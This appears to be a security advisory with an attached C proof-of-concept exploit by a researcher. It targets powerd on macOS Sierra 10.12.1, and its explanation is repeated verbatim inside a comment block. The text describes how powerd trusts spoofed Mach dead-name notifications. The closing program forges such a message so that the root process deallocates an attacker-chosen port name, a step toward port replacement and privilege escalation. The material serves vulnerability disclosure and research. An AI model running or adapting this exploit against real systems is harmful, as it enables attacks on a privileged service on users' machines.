/* powerd (running as root) hosts the com.apple.PowerManagement.control mach service. It checks in with launchd to get a server port and then wraps that in a CFPort: pmServerMachPort = _SC_CFMachPortCreateWithPort( "PowerManagement", serverPort, mig_server_callback, &context); It also asks to receive dead name notifications for other ports on that same server port: mach_port_request_notification( mach_task_self(), // task notify_port_in, // port that will die MACH_NOTIFY_DEAD_NAME, // msgid 1, // make-send count CFMachPortGetPort(pmServerMachPort), // notify port MACH_MSG_TYPE_MAKE_SEND_ONCE, // notifyPoly &oldNotify); // previous mig_server_callback is called off of the mach port run loop source to handle new messages on pmServerMachPort: static void mig_server_callback(CFMachPortRef port, void *msg, CFIndex size, void *info) { mig_reply_error_t * bufRequest = msg; mig_reply_error_t * bufReply = CFAllocatorAllocate( NULL, _powermanagement_subsystem.maxsize, 0); mach_msg_return_t mr; int options; __MACH_PORT_DEBUG(true, "mig_server_callback", serverPort); /* we have a request message */ (void) pm_mig_demux(&bufRequest->Head, &bufReply->Head); This passes the raw message to pm_mig_demux: static boolean_t pm_mig_demux( mach_msg_header_t * request, mach_msg_header_t * reply) { mach_dead_name_notification_t *deadRequest = (mach_dead_name_notification_t *)request; boolean_t processed = FALSE; processed = powermanagement_server(request, reply); if (processed) return true; if (MACH_NOTIFY_DEAD_NAME == request->msgh_id) { __MACH_PORT_DEBUG(true, "pm_mig_demux: Dead name port should have 1+ send right(s)", deadRequest->not_port); PMConnectionHandleDeadName(deadRequest->not_port); __MACH_PORT_DEBUG(true, "pm_mig_demux: Deallocating dead name port", deadRequest->not_port); mach_port_deallocate(mach_task_self(), deadRequest->not_port); reply->msgh_bits = 0; reply->msgh_remote_port = MACH_PORT_NULL; return TRUE; } This passes the message to the MIG-generated code for the powermanagement subsystem, if that fails (because the msgh_id doesn't match the subsystem for example) then this compares the message's msgh_id field to MACH_NOTIFY_DEAD_NAME. deadRequest is the message cast to a mach_dead_name_notification_t which is defined like this in mach/notify.h: typedef struct { mach_msg_header_t not_header; NDR_record_t NDR; mach_port_name_t not_port;/* MACH_MSG_TYPE_PORT_NAME */ mach_msg_format_0_trailer_t trailer; } mach_dead_name_notification_t; This is a simple message, not a complex one. not_port is just a completely controlled integer which in this case will get passed directly to mach_port_deallocate. The powerd code expects that only the kernel will send a MACH_NOTIFY_DEAD_NAME message but actually anyone can send this and force the privileged process to drop a reference on a controlled mach port name :) Multiplexing these two things (notifications and a mach service) onto the same port isn't possible to do safely as the kernel doesn't prevent user->user spoofing of notification messages - usually this wouldn't be a problem as attackers shouldn't have access to the notification port. You could use this bug to replace a mach port name in powerd (eg the bootstrap port, an IOService port etc) with a one for which the attacker holds the receieve right. Since there's still no KDK for 10.12.1 you can test this by attaching to powerd in userspace and setting a breakpoint in pm_mig_demux at the mach_port_deallocate call and you'll see the controlled value in rsi. Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555) */ // ianbeer #if 0 MacOS/iOS arbitrary port replacement in powerd powerd (running as root) hosts the com.apple.PowerManagement.control mach service. It checks in with launchd to get a server port and then wraps that in a CFPort: pmServerMachPort = _SC_CFMachPortCreateWithPort( "PowerManagement", serverPort, mig_server_callback, &context); It also asks to receive dead name notifications for other ports on that same server port: mach_port_request_notification( mach_task_self(), // task notify_port_in, // port that will die MACH_NOTIFY_DEAD_NAME, // msgid 1, // make-send count CFMachPortGetPort(pmServerMachPort), // notify port MACH_MSG_TYPE_MAKE_SEND_ONCE, // notifyPoly &oldNotify); // previous mig_server_callback is called off of the mach port run loop source to handle new messages on pmServerMachPort: static void mig_server_callback(CFMachPortRef port, void *msg, CFIndex size, void *info) { mig_reply_error_t * bufRequest = msg; mig_reply_error_t * bufReply = CFAllocatorAllocate( NULL, _powermanagement_subsystem.maxsize, 0); mach_msg_return_t mr; int options; __MACH_PORT_DEBUG(true, "mig_server_callback", serverPort); /* we have a request message */ (void) pm_mig_demux(&bufRequest->Head, &bufReply->Head); This passes the raw message to pm_mig_demux: static boolean_t pm_mig_demux( mach_msg_header_t * request, mach_msg_header_t * reply) { mach_dead_name_notification_t *deadRequest = (mach_dead_name_notification_t *)request; boolean_t processed = FALSE; processed = powermanagement_server(request, reply); if (processed) return true; if (MACH_NOTIFY_DEAD_NAME == request->msgh_id) { __MACH_PORT_DEBUG(true, "pm_mig_demux: Dead name port should have 1+ send right(s)", deadRequest->not_port); PMConnectionHandleDeadName(deadRequest->not_port); __MACH_PORT_DEBUG(true, "pm_mig_demux: Deallocating dead name port", deadRequest->not_port); mach_port_deallocate(mach_task_self(), deadRequest->not_port); reply->msgh_bits = 0; reply->msgh_remote_port = MACH_PORT_NULL; return TRUE; } This passes the message to the MIG-generated code for the powermanagement subsystem, if that fails (because the msgh_id doesn't match the subsystem for example) then this compares the message's msgh_id field to MACH_NOTIFY_DEAD_NAME. deadRequest is the message cast to a mach_dead_name_notification_t which is defined like this in mach/notify.h: typedef struct { mach_msg_header_t not_header; NDR_record_t NDR; mach_port_name_t not_port;/* MACH_MSG_TYPE_PORT_NAME */ mach_msg_format_0_trailer_t trailer; } mach_dead_name_notification_t; This is a simple message, not a complex one. not_port is just a completely controlled integer which in this case will get passed directly to mach_port_deallocate. The powerd code expects that only the kernel will send a MACH_NOTIFY_DEAD_NAME message but actually anyone can send this and force the privileged process to drop a reference on a controlled mach port name :) Multiplexing these two things (notifications and a mach service) onto the same port isn't possible to do safely as the kernel doesn't prevent user->user spoofing of notification messages - usually this wouldn't be a problem as attackers shouldn't have access to the notification port. You could use this bug to replace a mach port name in powerd (eg the bootstrap port, an IOService port etc) with a one for which the attacker holds the receieve right. Since there's still no KDK for 10.12.1 you can test this by attaching to powerd in userspace and setting a breakpoint in pm_mig_demux at the mach_port_deallocate call and you'll see the controlled value in rsi. Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555) #endif #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <servers/bootstrap.h> #include <mach/mach.h> #include <mach/ndr.h> char* service_name = "com.apple.PowerManagement.control"; struct notification_msg { mach_msg_header_t not_header; NDR_record_t NDR; mach_port_name_t not_port; }; mach_port_t lookup(char* name) { mach_port_t service_port = MACH_PORT_NULL; kern_return_t err = bootstrap_look_up(bootstrap_port, name, &service_port); if(err != KERN_SUCCESS){ printf("unable to look up %s\n", name); return MACH_PORT_NULL; } return service_port; } int main() { kern_return_t err; mach_port_t service_port = lookup(service_name); mach_port_name_t target_port = 0x1234; // the name of the port in the target namespace to destroy printf("%d\n", getpid()); printf("service port: %x\n", service_port); struct notification_msg not = {0}; not.not_header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0); not.not_header.msgh_size = sizeof(struct notification_msg); not.not_header.msgh_remote_port = service_port; not.not_header.msgh_local_port = MACH_PORT_NULL; not.not_header.msgh_id = 0110; // MACH_NOTIFY_DEAD_NAME not.NDR = NDR_record; not.not_port = target_port; // send the fake notification message err = mach_msg(&not.not_header, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(struct notification_msg), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); printf("fake notification message: %s\n", mach_error_string(err)); return 0; }